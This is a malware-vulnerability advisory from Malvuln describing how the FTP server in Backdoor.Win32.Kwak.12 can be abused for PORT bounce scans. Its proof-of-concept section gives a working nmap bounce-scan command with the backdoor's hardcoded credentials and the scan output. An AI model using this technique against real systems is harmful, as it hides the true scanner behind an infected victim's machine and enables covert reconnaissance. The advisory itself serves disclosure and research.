Backdoor.Win32.Kwak.12 / Port Bounce Scan

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/c25393545e5ead3a35996ef9a887bd34_D.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Kwak.12
Vulnerability: Port Bounce Scan
Description: The backdoor runs an FTP server that listens on TCP port
37885. Third-party adversaries can abuse the server as a man-in-the-middle
machine allowing PORT Command bounce scan attacks using Nmap. This
vulnerability allows remote attackers to abuse your system and discreetly
conduct network port scanning. Victims will then think these scans are
originating from the infected system running the afflicted malware FTP
Server and not you. This is easily accomplished as the malware also suffers
from a authentication bypass issue reference MVID-2021-0147.
Type: PE32
MD5: c25393545e5ead3a35996ef9a887bd34
Vuln ID: MVID-2021-0148
Dropped files:
Disclosure: 03/25/2021


Exploit/PoC:
Scanning ports 23,79,80 using Nmaps port bounce feature.

nmap -n -Pn -b pbarbar:pbarbar@192.168.88.128:37885  192.168.88.129
 -p23,79,80  -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-25 18:47 Pacific
Daylight Time
Resolved FTP bounce attack proxy to 192.168.88.128 (192.168.88.128).
Attempting connection to ftp://pbarbar:pbarbar@192.168.88.128:37885
Connected:220 Enter Login
Computer Name: DESKTOP-2X3IHHP
Local IP: 192.168.88.128
User On This Computer: victim
Drive C: 14.97 Gb Free

Login credentials accepted by FTP server!
Initiating Bounce Scan at 18:47
Discovered open port 80/tcp on 192.168.88.129
Completed Bounce Scan at 18:47, 2.10s elapsed (3 total ports)
Nmap scan report for 192.168.88.129
Host is up.

PORT   STATE  SERVICE
23/tcp closed telnet
79/tcp closed finger
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds


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of security related information or exploits by the author or elsewhere. Do
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